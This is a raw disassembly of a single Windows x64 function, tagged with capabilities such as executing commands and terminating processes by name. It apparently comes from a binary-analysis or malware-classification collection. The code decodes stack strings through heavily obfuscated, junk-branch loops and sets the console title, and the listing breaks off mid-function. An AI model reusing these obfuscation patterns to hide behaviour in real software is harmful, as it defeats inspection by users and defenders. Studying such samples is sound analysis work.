Function at 0x140091b60
Capabilities:
Enumerate processes
Execute command
Parse pe header
Set console window title
Terminate process
Terminate process by name

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x480]
sub rsp, 0x580
mov rax, qword [0x1401dd780]
xor rax, rsp
mov qword [rbp + 0x470], rax
lea rcx, [0x1401de440]
call fcn.1400ac010
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rbx, rax
xor r14d, r14d
mov dword [rbp + 0x1ec], r14d
lea rdx, [rbp + 0x1ec]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetConsoleMode]
mov edx, dword [rbp + 0x1ec]
or edx, 4
mov dword [rbp + 0x1ec], edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleMode]
mov dword [rbp - 0x50], 0x63d96180
mov dword [rbp - 0x4c], 0x67b865b8
mov dword [rbp - 0x48], 0x6b8a69d5
mov dword [rbp - 0x44], 0x6ffc6daf
mov dword [rbp - 0x40], 0x53f751f5
mov dword [rbp - 0x3c], 0x57b655f0
mov dword [rbp - 0x38], 0x5bc859e8
mov dword [rbp - 0x34], 0x5fc85df5
mov dword [rbp - 0x30], 0x43d641e1
mov dword [rbp - 0x2c], 0x47a645e1
mov dword [rbp - 0x28], 0x4bdf498a
mov dword [rbp - 0x24], 0x4fe24de5
mov dword [rbp - 0x20], 0x33d23194
mov dword [rbp - 0x1c], 0x37d635a8
mov dword [rbp - 0x18], 0x3ba8399b
mov dword [rbp - 0x14], 0x3f9b3d99
mov dword [rbp - 0x10], 0x23872184
mov dword [rbp - 0xc], 0x27b625b7
mov dword [rbp - 8], 0x2bb82987
mov dword [rbp - 4], 0x2fbd2db8
mov dword [rbp], 0x138111fe
mov dword [rbp + 4], 0x17ba15b1
mov dword [rbp + 8], 0x1b8a19b4
mov dword [rbp + 0xc], 0x1f8d1dbd
mov dword [rbp + 0x10], 0x3ec0193
mov dword [rbp + 0x14], 0x7a905ad
mov word [rbp + 0x18], 0x908
xor eax, eax
mov qword [rbp + 0x1a], rax
mov byte [rbp + 0x22], al
movabs r15, 0xdaab4766ec5f3fd0
movabs r12, 0x82cf3a2328bf9a30
movabs r13, 0x24d74bb7d548d110
movzx edi, byte [rbp + 0x1e8]
movabs rsi, 0x2efbf735a9bb6490
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
nop dword [rax + rax]
mov r10, r14
cmp r10, 0x73
jae 0x14009273f
movzx r9d, byte [rbp + r10 - 0x50]
cmp rbx, r10
ja 0x140092736
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140091d2f
lea rcx, [r10 + rsi]
mov rax, r9
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r9
add rdi, rcx
add dil, 0x10
jmp 0x140091d69
je 0x1400926a2
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140092626
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400925e3
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400925a1
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140092575
movzx esi, r9b
nop dword [rax]
cmp r8, r10
ja 0x14009272d
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jae 0x140091da1
lea rcx, [r10 + r15]
movzx eax, r9b
and al, cl
mov edx, 0x28
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, sil
jmp 0x140091de2
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140092520
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400925a5
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140092501
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400924e2
lea rax, [r8 + 7]
cmp rbx, rax
je 0x1400924d4
lea r11, [r8 + rbx]
cmp r11, r10
jbe 0x1400921f2
nop
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x1400921d2
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400921a1
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14009216b
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x140092145
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x140092123
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x140091df0
lea rbx, [r8 + 0x42]
lea r8, [rbx + 0x80]
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x14009270d
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x1400926e3
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x140091f6c
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x140091f52
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x140091f38
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x1400920d2
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x140092080
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x140091df0
lea rbx, [r8 + 0x200]
lea r8, [rbx + 0x400]
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x14009205e
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x14009203c
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x14009201a
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x140091ff8
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x140091fd7
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x140091f9e
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x140091df0
lea rbx, [r8 + 0x1000]
lea r8, [rbx + 0x7a]
jmp 0x140091df0
lea rcx, [r10 + r12]
movzx eax, r9b
and al, cl
add al, al
sub cl, al
lea edi, [rsi + rcx]
sub dil, 0x50
jmp 0x140091de2
lea rcx, [r10 + r13]
movzx eax, r9b
and al, cl
add al, al
sub cl, al
lea edi, [rsi + rcx]
sub dil, 0x70
jmp 0x140091d70
movabs rcx, 0xc6df5d4c81d207f0
add rcx, r10
movzx eax, r9b
and al, cl
mov edx, gethostname
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, sil
movabs rsi, 0x2efbf735a9bb6490
jmp 0x140091d03
movabs rax, 0x77624ccc0f833560
add rax, r10
and r9b, al
mov ecx, 0x30
sub cl, r9b
lea edi, [rcx + rcx]
add dil, al
add dil, sil
inc r8
dec r10
inc r10
movabs rsi, 0x2efbf735a9bb6490
jmp 0x140091cf3
movabs rax, 0x5d7a818a151eda00
add rax, r10
and r9b, al
add r9b, r9b
sub al, r9b
lea edi, [rsi + rax]
add rbx, r8
jmp 0x140092603
movabs rax, 0xff82931ec1a810e0
add rax, r10
and r9b, al
add r9b, r9b
sub al, r9b
lea edi, [rsi + rax]
sub dil, 0x20
jmp 0x140092603
movabs rax, 0xa18aa4b36e3147c0
add rax, r10
and r9b, al
add r9b, r9b
sub al, r9b
lea edi, [rsi + rax]
sub dil, 0x40
jmp 0x14009264d
movabs rax, 0x4392b6481aba7ea0
add rax, r10
and r9b, al
add r9b, r9b
sub al, r9b
lea edi, [rsi + rax]
sub dil, 0x60
jmp 0x140092675
movabs rax, 0xe59ac7dcc743b580
add rax, r10
and r9b, al
add r9b, r9b
sub al, r9b
lea edi, [rsi + rax]
add dil, 0x80
jmp 0x1400926c5
movabs rcx, 0x9cb705652323f590
add rcx, r10
movzx eax, r9b
and al, cl
mov edx, 8
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, sil
cmp r8, 0x64
jb 0x140092475
movzx r11d, r10b
lea edx, [r11 + 0x60]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x40]
jmp 0x14009253e
movabs rcx, 0x3ebf16f9cfad2c70
add rcx, r10
movzx eax, r9b
and al, cl
add al, al
sub cl, al
lea edi, [rsi + rcx]
sub dil, 0x10
cmp rbx, 0x28
jae 0x14009248c
lea rax, [r8 + 0x42]
cmp rbx, rax
jbe 0x1400923ca
lea edx, [r10 + 0x20]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x1400920a3
movabs rax, 0x6413cf92e34deca0
add rax, r10
and r9b, al
add r9b, r9b
sub al, r9b
lea edi, [rsi + rax]
sub dil, 0x60
jmp 0x14009264d
movabs rax, 0x4a2c0450e8e99140
add rax, r10
and r9b, al
mov ecx, 0x20
sub cl, r9b
lea edi, [rcx + rcx]
add dil, al
add dil, sil
jmp 0x1400925bf
movabs rax, 0xec3415e59572c820
add rax, r10
and r9b, al
mov ecx, reloc.WS2_32.dll_recv
sub cl, r9b
lea edi, [rcx + rcx]
add dil, al
add dil, sil
dec r10
inc r10
movabs rsi, 0x2efbf735a9bb6490
jmp 0x140091cf3
movabs rax, 0x8e3c277a41fbff00
add rax, r10
and r9b, al
add r9b, r9b
sub al, r9b
lea edi, [rsi + rax]
inc r8
dec r10
inc r10
movabs rsi, 0x2efbf735a9bb6490
jmp 0x140091cf3
lea edx, [r10 - 0x20]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x20
movzx r11d, r10b
jmp 0x14009253b
lea rax, [r8 + 0x400]
cmp rbx, rax
jae 0x140092251
lea edx, [r10 - 0x70]
movzx eax, r9b
and al, dl
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
cmp r11, 0xa
je 0x1400924b3
lea rax, [r8 + 0x1000]
cmp rbx, rax
jbe 0x140092318
lea edx, [r10 + 0x50]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x30
add dil, dl
jmp 0x1400920f0
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140092276
lea ecx, [r10 - 0x60]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x60
jmp 0x1400926c5
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14009229b
lea edx, [r10 - 0x20]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x20
jmp 0x14009264a
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400922c6
lea edx, [r10 + 0x20]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
add rbx, r8
jmp 0x140092603
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400922eb
lea edx, [r10 + 0x40]
movzx eax, r9b
and al, dl
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x1400925bc
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140092218
movzx r11d, r10b
lea edx, [r11 - 0x60]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x60
jmp 0x14009253b
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140092341
movzx r11d, r10b
lea edx, [r11 + 0x70]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x10
jmp 0x14009253b
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14009237c
lea edx, [r10 - 0x70]
movzx eax, r9b
and al, dl
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
inc r8
dec r10
inc r10
movabs rsi, 0x2efbf735a9bb6490
jmp 0x140091cf3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400923b4
lea edx, [r10 - 0x50]
movzx eax, r9b
and al, dl
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r10
inc r10
movabs rsi, 0x2efbf735a9bb6490
jmp 0x140091cf3
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400920f0
lea ecx, [r10 + 0x10]
jmp 0x1400925f0
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400923e1
lea edx, [r10 + 0x40]
mov ecx, 0x20
jmp 0x1400926b4
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140092409
lea edx, [r10 + 0x80]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x80
jmp 0x14009264a
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140092431
lea ecx, [r10 - 0x40]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x40
add rbx, r8
jmp 0x140092603
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140092456
lea edx, [r10 - 0x20]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x20
jmp 0x1400925bc
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400920a3
movzx r11d, r10b
lea edx, [r11 + 0x40]
mov ecx, 0x20
jmp 0x14009252d
mov byte [rbp + r10 - 0x50], dil
inc r10
movabs rsi, 0x2efbf735a9bb6490
jmp 0x140091cf3
lea edx, [r10 + 0x80]
movzx eax, r9b
and al, dl
add al, al
movzx edi, byte [rbp + r10 - 0x50]
sub dil, al
add dil, 0x80
add dil, dl
add dil, r9b
jmp 0x1400925bf
lea edx, [r10 - 0x60]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, byte [rbp + r10 - 0x50]
sub dil, 0x60
jmp 0x14009264a
lea edx, [r10 - 0x10]
mov ecx, gethostname
jmp 0x1400926b4
lea edx, [r10 - 0x70]
movzx eax, r9b
and al, dl
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140092603
lea ecx, [r10 + 0x70]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x10
add rbx, r8
jmp 0x140092603
movzx r11d, r10b
lea edx, [r11 - 0x10]
mov ecx, gethostname
movzx eax, r9b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
sub r11b, 0x10
movzx eax, r9b
and al, r11b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r9b
add cl, r11b
mov byte [rbp + r10 - 0x50], cl
inc r8
dec r10
inc r10
movabs rsi, 0x2efbf735a9bb6490
jmp 0x140091cf3
lea ecx, [r10 + 0x70]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x10
dec r10
inc r10
movabs rsi, 0x2efbf735a9bb6490
jmp 0x140091cf3
movzx esi, r9b
lea edx, [r10 + 0x50]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x30
add dil, dl
lea edx, [r10 + 0x10]
movzx eax, sil
and al, dl
add al, al
movzx ecx, dil
sub cl, al
sub cl, 0x70
add cl, sil
add cl, dl
mov byte [rbp + r10 - 0x50], cl
add rbx, r8
jmp 0x140092603
movabs rcx, 0xa6dbb0e2f7968910
add rcx, r10
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x70
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
movabs rsi, 0x2efbf735a9bb6490
jmp 0x140091cf3
movabs rdx, 0x48e3c277a41fbff0
add rdx, r10
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
movzx esi, r9b
add dil, dl
lea edx, [r10 + 0x30]
movzx eax, sil
and al, dl
add al, al
movzx ecx, sil
sub cl, al
sub cl, 0x50
add cl, dl
movzx eax, cl
mov byte [rbp + r10 - 0x50], al
inc r8
add rax, r8
sub r10, rax
lea ecx, [r10 - 0x40]
movzx eax, sil
and al, cl
add al, al
sub sil, al
sub sil, 0x40
add sil, cl
mov byte [rbp + r10 - 0x50], sil
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
jmp 0x1400926c5
movabs rdx, 0x8cf3e5a0fd322db0
add rdx, r10
mov ecx, 0x18
movzx eax, r9b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r10 - 0x50]
add rax, r8
add r10, rax
inc r10
movabs rsi, 0x2efbf735a9bb6490
jmp 0x140091cf3
sub r10b, 0x30
movzx eax, r9b
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movabs rsi, 0x2efbf735a9bb6490
jmp 0x140091cf0
sub r10b, 0x50
movzx eax, r9b
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140091cce
lea rcx, [rbp + 0x1679070]
jmp 0x140092743
lea rcx, [rbp + 0x162f500]
jmp 0x140092743
lea rcx, [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
mov dword [rbp + 0x150], 0x49397568
mov dword [rbp + 0x154], 0x1d336929
mov dword [rbp + 0x158], 0x631a161a
mov dword [rbp + 0x15c], 0x1c251e1e
mov dword [rbp + 0x160], 0xb51f1014
mov word [rbp + 0x164], 0x799a
xor eax, eax
mov qword [rbp + 0x166], rax
mov word [rbp + 0x16e], ax
mov byte [rbp + 0x170], al
movabs rsi, 0x29cb123f5aba256d
movabs r12, 0x248d7fbb7b1705fb
movabs r15, 0x7d6136be102e7047
movzx edi, byte [rbp + 0x1e8]
nop
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
mov r10, r14
cmp r10, 0x21
jae 0x14009316b
movzx r9d, byte [rbp + r10 + 0x150]
mov rdx, r9
nop dword [rax]
cmp rbx, r10
ja 0x140093162
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14009281c
lea rcx, [r10 + rsi]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
add dil, 5
jmp 0x140092856
je 0x1400930f4
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140093068
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14009300a
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140092fe8
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140092f9d
cmp r8, r10
ja 0x140093159
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jae 0x140092883
lea ecx, [r10 - 0xf]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x69
jmp 0x1400928d1
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140092f80
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140092f5b
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140092f3f
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140092f23
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140092f04
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140092ed6
lea rdx, [r8 + rbx]
cmp rdx, r10
jbe 0x140092c30
nop
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x140092c0d
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x140092be5
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x140092bc0
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140092b9d
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140092b7e
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140092b5f
lea rbx, [r8 + 0x28]
lea r8, [rbx + 0x41]
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x14009313c
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x14009311f
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x140092a02
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x1400929e7
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x140092aed
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x1400928e0
lea rbx, [r8 + 0x64]
lea r8, [rbx + 0x200]
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x140092ac0
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x140092aa1
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x140092a82
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x140092a63
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x140092a40
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x140092a1d
lea rbx, [r8 + 0xa]
lea r8, [rbx + 0x20]
jmp 0x1400928e0
lea ecx, [r10 + 0x55]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x53
jmp 0x140092856
lea ecx, [r10 + 0x7b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5d
jmp 0x1400927e6
lea edx, [r10 - 0x78]
movzx eax, dl
and al, r9b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x140092fbb
lea edx, [r10 - 6]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x140093028
lea edx, [r10 + 0x46]
movzx eax, dl
and al, r9b
mov ecx, listen
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14009304f
lea edx, [r10 + 0x6c]
movzx eax, dl
and al, r9b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140093082
lea edx, [r10 - 0x6e]
movzx eax, dl
and al, r9b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400930ad
lea ecx, [r10 - 0x48]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 8
movzx eax, byte [rbp + r10 + 0x150]
add rax, r8
add r10, rax
inc r10
jmp 0x1400927d3
lea ecx, [r10 - 0x1d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x35
cmp rbx, 3
jae 0x140092e96
lea rax, [r8 + 5]
cmp rbx, rax
jbe 0x140092dd3
lea ecx, [r10 - 0x16]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x66
cmp r8, 0x7a
jb 0x140092e86
movzx r11d, r10b
lea edx, [r11 + 0x6e]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 4]
jmp 0x140092fbb
lea edx, [r10 - 0x34]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400930ad
lea edx, [r10 + 0x3e]
movzx eax, dl
and al, r9b
mov ecx, 0x27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14009304c
movzx r11d, r10b
lea edx, [r11 + 0x64]
movzx eax, dl
and al, r9b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140093028
lea edx, [r10 - 0x76]
movzx eax, dl
and al, r9b
mov ecx, 0x1d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x1400927d3
lea edx, [r10 - 0x50]
movzx eax, dl
and al, r9b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x1400927d3
movzx r11d, r10b
lea edx, [r11 - 0x2a]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140092fbb
lea rax, [r8 + 0x10]
cmp rbx, rax
jae 0x140092c81
lea ecx, [r10 + 0x6d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 5
cmp rdx, 0x2a
je 0x140092eba
lea rcx, [r8 + 2]
cmp rbx, rcx
jbe 0x140092d39
lea ecx, [r10 - 7]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x31
jmp 0x140092b03
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140092cb7
lea ecx, [r10 - 0x1e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2e
movzx eax, byte [rbp + r10 + 0x150]
add rax, r8
add r10, rax
inc r10
jmp 0x1400927d3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140092cdb
lea ecx, [r10 - 0x6a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1a
jmp 0x140093082
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140092d09
lea edx, [r10 - 2]
movzx eax, dl
and al, r9b
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x1400927d3
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x140092c4f
movzx r11d, r10b
lea edx, [r11 - 0x4e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140092fbb
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140092d61
movzx r11d, r10b
lea ecx, [r11 - 0x2d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x3b
jmp 0x140092fbb
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140092d8b
lea ecx, [r10 - 0x79]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x4f
dec r10
inc r10
jmp 0x1400927d3
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140092daf
lea ecx, [r10 + 0x15]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x6d
jmp 0x14009304f
cmp rbx, rcx
jne 0x140092b03
lea ecx, [r10 - 0x11]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x77
jmp 0x140093082
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140092e09
lea ecx, [r10 - 0x3c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5c
movzx eax, byte [rbp + r10 + 0x150]
add rax, r8
add r10, rax
inc r10
jmp 0x1400927d3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140092e2d
lea ecx, [r10 + 0x78]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x48
jmp 0x140093082
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140092e55
movzx r11d, r10b
lea ecx, [r11 + 6]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2a
jmp 0x140093028
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140092b30
lea ecx, [r10 - 0x46]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x16
inc r8
dec r10
inc r10
jmp 0x1400927d3
mov byte [rbp + r10 + 0x150], dil
inc r10
jmp 0x1400927d3
movzx r11d, r10b
lea edx, [r11 + 0x48]
movzx eax, r9b
and al, dl
movzx ecx, byte [rbp + r10 + 0x150]
sub cl, al
add cl, 4
lea edi, [rcx + rcx]
jmp 0x140093025
lea edx, [r10 + 0x22]
movzx eax, r9b
and al, dl
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140093082
lea ecx, [r10 - 0x65]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x3d
movzx eax, byte [rbp + r10 + 0x150]
add rax, r8
add r10, rax
inc r10
jmp 0x1400927d3
lea edx, [r10 - 0x19]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x51
add dil, dl
jmp 0x140093082
lea ecx, [r10 + 0xd]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x5b
jmp 0x14009304f
lea ecx, [r10 + 0x33]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x65
jmp 0x14009304c
lea ecx, [r10 - 0x5b]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x7d
inc r8
dec r10
inc r10
jmp 0x1400927d3
movzx r11d, r10b
lea edx, [r11 - 0x35]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x73
jmp 0x140092fb8
movzx r11d, r10b
lea edx, [r11 + 0x17]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x5f
add dil, dl
sub r11b, 0x25
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
add r9b, 3
add r9b, r11b
mov byte [rbp + r10 + 0x150], r9b
inc r8
dec r10
inc r10
jmp 0x1400927d3
lea ecx, [r10 + 0x63]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x4b
dec r10
inc r10
jmp 0x1400927d3
movzx r11d, r10b
lea edx, [r11 - 0x77]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x41
